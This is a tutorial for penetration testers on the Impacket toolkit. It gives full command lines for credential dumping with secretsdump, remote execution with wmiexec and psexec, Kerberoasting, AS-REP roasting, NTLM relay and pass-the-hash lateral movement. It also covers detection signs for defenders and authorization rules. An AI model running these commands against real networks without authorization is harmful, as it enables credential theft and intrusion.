How to Use Impacket: The 8 Scripts You Actually Need

What Is Impacket?

Impacket is an open source collection of Python classes for working with network protocols, plus a set of example scripts that use those classes to talk to Windows systems. MITRE ATT&CK catalogues it as software S0357 and describes it as containing tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing and relay attacks.

The part people miss is the order of those two halves. Impacket is a library first. The scripts in examples/ were written to demonstrate the library, which is why they feel less polished than a product: inconsistent capitalization, no unified help page, names like GetNPUsers.py sitting next to psexec.py. Accept the rough edges and you get something no commercial tool matches, which is a working implementation of SMB, MSRPC, LDAP, Kerberos, MSSQL and DCOM that you can read, script against, and modify.

It was originally built by SecureAuth and is now maintained by Fortra's Core Security team. The protocol coverage listed in the project README runs from raw Ethernet and IPv6 up through SMB1 to SMB3, MSRPC over four transports, and portions of TDS and LDAP. That is why the scripts can do things a Windows-native tool would need a domain-joined machine to attempt.

One framing that helps beginners: Nmap tells you a Windows host exists, Impacket lets you have a conversation with it. Nothing in this toolkit finds vulnerabilities for you. It authenticates, asks questions, and executes, all of which assume you already have something to authenticate with.

Installing Impacket Without Wrecking Your Python

The upstream recommendation changed a few years ago and most tutorials never caught up. The README now says to use pipx rather than pip for system-wide installs, because pipx gives the project its own virtual environment instead of dropping 30 dependencies into your system Python:

python3 -m pipx install impacket

If that command returns error: externally-managed-environment, you ran pip instead of pipx on a modern Debian, Ubuntu or Kali release. That error is Python protecting the packages your operating system depends on, and the fix is pipx, not --break-system-packages.

On Kali, Impacket is already there. The Kali package is python3-impacket, currently version 0.13.0, and it installs the scripts under different names than every tutorial uses:

sudo apt update && sudo apt install python3-impacket
impacket-secretsdump -h

Kali drops the .py extension and adds an impacket- prefix, so secretsdump.py becomes impacket-secretsdump, wmiexec.py becomes impacket-wmiexec, and samrdump.py becomes impacket-samrdump. When a walkthrough command fails with command not found, try the prefixed name before you conclude anything is broken. Typing impacket- and hitting tab twice lists every script you have.

There is also an official Dockerfile in the repository if you would rather keep the toolkit off your host entirely:

docker build -t "impacket:latest" .
docker run -it --rm "impacket:latest"

A word on versions. The master branch is labeled 0.14.0-dev and supports Python 3.9 through 3.13, and it regularly carries scripts and fixes that the stable release does not. Install the stable release first. Go to master only when a specific technique you are following needs it, and know that you are then running code that has not been through a release cycle.

The Target String Every Impacket Script Shares

This is the section that saves you an evening. Almost every script takes its target in one format, spelled out identically in each script's help text:

[[domain/]username[:password]@]<targetName or address>

The square brackets mean optional, which is why the same argument can look so different between two tutorials. All four of these are valid:

• ACME.example/dana:[email protected] for a full domain login
• [email protected] to authenticate as a local account and be prompted for the password
• ACME.example/[email protected] when you want to pass credentials by hash or ticket instead
• 192.0.2.20 alone, for the handful of scripts that accept an anonymous session

Three rules keep this from ruining your night. Quote the whole argument in single quotes, always, because passwords containing ! trigger history expansion in bash and passwords containing @ split the string in the wrong place. Leave the password out entirely and let the script prompt you, which sidesteps both problems and keeps the password out of your shell history. And remember that the value before the slash is the domain, not the hostname, which is the single most common mix-up beginners make.

Passwords, Hashes and Tickets

Impacket gives you three ways to authenticate, and the flags are consistent across scripts:

Modern Windows accounts have no LM hash, so the left half is the empty-LM constant aad3b435b51404eeaad3b435b51404ee. Paste the pair exactly as secretsdump.py printed it and you will be right. In practice, -dc-ip is the flag you will forget most often: Kerberos and LDAP operations need to reach a domain controller by name, and your Linux box has no idea what ACME.example resolves to unless you tell it.

The 8 Impacket Scripts You Actually Need

The master branch's examples directory holds around 70 scripts. You will use eight of them in almost every engagement and CTF box, and the rest are specialists you can look up when the situation demands one.

secretsdump.py: The One Everyone Means

Its own description is "performs various techniques to dump secrets from the remote machine without executing any agent there", and that last clause is the point. With local administrator rights it reaches in over SMB, reads the registry hives, and returns hashes:

secretsdump.py 'ACME.example/dana:[email protected]'

You get three sections: SAM hashes for local accounts, LSA secrets including cached domain logons and any service account password stored in plaintext, and on a domain controller the full NTDS database. Against a DC, narrow it down rather than emptying the entire directory into your terminal:

secretsdump.py -just-dc-user krbtgt 'ACME.example/[email protected]'
secretsdump.py -just-dc-ntlm -outputfile acme_hashes 'ACME.example/[email protected]'

It also parses hives you already stole, which is the version you want when you have file access but no working login:

secretsdump.py -sam SAM -system SYSTEM LOCAL

That literal LOCAL at the end is not a placeholder. It tells the script to work offline instead of connecting anywhere.

wmiexec.py, psexec.py and the Rest of the Execution Family

Five scripts get you command execution, and they differ only in the Windows mechanism they abuse. psexec.py uploads a binary and creates a Windows service, which gives you a genuinely interactive SYSTEM shell and leaves the most obvious trail. wmiexec.py runs each command through WMI as a separate process, which is why it is called semi-interactive: you cannot run cd and expect the next command to remember it. smbexec.py creates a service too, atexec.py registers a scheduled task, and dcomexec.py goes through DCOM.

wmiexec.py 'ACME.example/dana:[email protected]'
wmiexec.py -shell-type powershell 'ACME.example/[email protected]' -hashes ':13b29964cc2480b4ef454c59562e675c'

My advice: reach for wmiexec.py first and keep psexec.py for when you need a real interactive session or SYSTEM specifically. All five need local administrator rights on the target. If one fails with an access error and another succeeds with the same credentials, that is a difference in which service is running and how the host is hardened, not a bug.

smbclient.py and smbserver.py: The Boring Pair That Saves You

smbclient.py drops you into an interactive prompt where shares, use C$, ls and get do what you expect. It needs no admin rights beyond read access to a share, and a readable share is where internal tests quietly turn into findings: deployment scripts with hardcoded credentials, an IT folder of spreadsheets, a backup nobody has audited since the server was built.

smbserver.py is the one beginners skip and experienced testers use constantly. It turns a folder on your Linux machine into an SMB share, so the Windows host can copy files to you with a built-in command and no second tool:

smbserver.py -smb2support share /tmp/loot

From the Windows side that is copy file.zip \\192.0.2.5\share\. Include -smb2support every time, because modern Windows refuses SMB1 by default and the failure looks like a network problem rather than a protocol mismatch.

GetUserSPNs.py and GetNPUsers.py: Hashes From Nothing

These two are the reason a single low-privilege domain account is worth so much. Kerberoasting requests a service ticket for any account that has a Service Principal Name, then cracks it offline, because part of that ticket is encrypted with the service account's password hash.

GetUserSPNs.py -request -dc-ip 192.0.2.10 -outputfile spns.txt 'ACME.example/dana'

The output is Kerberos 5 TGS-REP hashes in a format both crackers understand: hashcat mode 13100 for the RC4 variety, 19600 and 19700 for the AES ones. Service account passwords are set once at install time and frequently never rotated, which is exactly why this attack keeps working.

AS-REP roasting is its quieter cousin. Accounts configured with "do not require Kerberos preauthentication" will hand a crackable blob to anyone who asks, no password needed at all:

GetNPUsers.py -usersfile users.txt -dc-ip 192.0.2.10 -no-pass 'ACME.example/'

Those hashes are hashcat mode 18200. Both attacks produce material that is useless until it cracks, so the workflow continues in our Hashcat walkthrough, and the Kerberoasting chapter covers what the domain controller is actually doing when it answers.

ntlmrelayx.py: Authentication Without Cracking Anything

ntlmrelayx.py takes an NTLM authentication attempt aimed at you and forwards it to a third host that will accept it. No password, no hash, no cracking. It is usually paired with a tool that provokes the authentication in the first place, and it is the practical reason SMB signing exists as a setting.

ntlmrelayx.py -tf targets.txt -smb2support --no-http-server

Treat this one as the sharp end of the toolkit. It touches machines that are not the one you pointed it at, which makes scope discipline non-negotiable: a relay target list with one wrong line reaches a host nobody authorized you to touch. Learn what the protocol is doing before you run it anywhere real, not after.

A Realistic Run Against One Windows Host

Individual commands are easy to collect and hard to sequence. Here is the order the scripts actually come out in, starting from one set of valid domain credentials:

1. Confirm the credentials work. smbclient.py against the target tells you instantly whether authentication succeeds and what you can read.
2. Enumerate the domain. samrdump.py and lookupsid.py return users, groups and RIDs, which gives you the user list the roasting scripts need.
3. Collect free hashes. GetUserSPNs.py -request and GetNPUsers.py cost nothing and occasionally end the box on their own.
4. Crack offline while you keep working. Start Hashcat in another terminal. Do not sit and watch it.
5. Test the new credentials for local admin. wmiexec.py returning a prompt is your answer.
6. Dump and pivot. secretsdump.py on that host, then reuse the local administrator hash against its neighbors with -hashes.

Step six is where password reuse decides the engagement. One local administrator password shared across a fleet of workstations turns a single dumped hash into access everywhere, and that pattern holds in organizations of every size. Our guide to NetExec, the successor to CrackMapExec, covers the sweep that tells you how far a given hash reaches. The two tools pair naturally: NetExec answers "where does this work", Impacket answers "what can I do there".

Five Errors You Will Hit in Your First Hour

None of these mean you did the attack wrong. They are the toolkit's rough edges, and knowing them by sight is most of the learning curve.

• command not found. On Kali the script is impacket-secretsdump, not secretsdump.py. After a pipx install, open a new shell so the updated PATH is in effect.
• STATUS_LOGON_FAILURE with a password you know is right. Your shell ate a character. Wrap the whole target string in single quotes, or omit the password and let the script prompt you.
• rpc_s_access_denied or STATUS_ACCESS_DENIED after a successful login. Authentication worked and authorization did not. The account is valid but is not a local administrator on that host, which is a finding about the account, not an error.
• KRB_AP_ERR_SKEW(Clock skew too great). Kerberos rejects tickets when the clocks differ by more than five minutes. Sync your machine to the domain controller with sudo ntpdate 192.0.2.10 and run the command again.
• Everything hangs, then times out. Your box cannot resolve the domain name. Add -dc-ip, or put the domain controller in /etc/hosts with both its short name and its FQDN.

One habit worth forming early: add -ts to every command. It prefixes each line of output with a timestamp, which turns a scrollback buffer into something you can line up against the client's logs when they ask what you were doing at 14:32.

What Impacket Looks Like to Defenders

Anyone running this toolkit on an assessment should know how visible it is, and anyone defending a Windows network should know what these scripts leave behind. Both sides can read the same MITRE ATT&CK entry, which maps Impacket to credential dumping (T1003), Kerberos ticket theft (T1558), WMI execution (T1047), system services (T1569) and adversary-in-the-middle relay (T1557).

• Service creation. psexec.py and smbexec.py create a Windows service to run their payload. Event ID 7045 on a workstation has almost no legitimate explanation.
• Scheduled task churn. atexec.py registers a task, runs it, and deletes it. A task that appears and vanishes within seconds is a strong indicator.
• Service ticket requests in bulk. One ordinary account requesting tickets for every SPN in the domain is Kerberoasting, and Event ID 4769 catches it whenever somebody is watching.
• Directory replication from the wrong place. A DCSync-style -just-dc dump makes a workstation ask a domain controller to replicate the directory. Nothing but another DC should ever do that.

Endpoint security products flag these scripts by name. On a real engagement, expect alerts. That is the correct outcome in a protected environment, and a test that sails through a mature network untouched usually means the detection stack is misconfigured, which is itself worth writing up in the report.

Legal and Ethical Considerations

The project's own README is direct about this: the code is published for research and educational purposes. Running it against infrastructure you do not own or have not been contracted to test is not research, and the failed attempts are logged with your source address either way.

Where This Is Fair Game

• A home lab domain built from evaluation copies of Windows Server on hardware you own
• Engagements covered by a signed scope document naming the target ranges and the accounts you may use
• Networks you administer, with your employer's documented approval
• Purpose-built training environments and CTF platforms

Relay attacks deserve their own line here. ntlmrelayx.py acts on hosts beyond the one in your command, so a target file copied from a blog post can reach a machine that was never in scope. Read your own target list out loud before pressing enter.

Frequently Asked Questions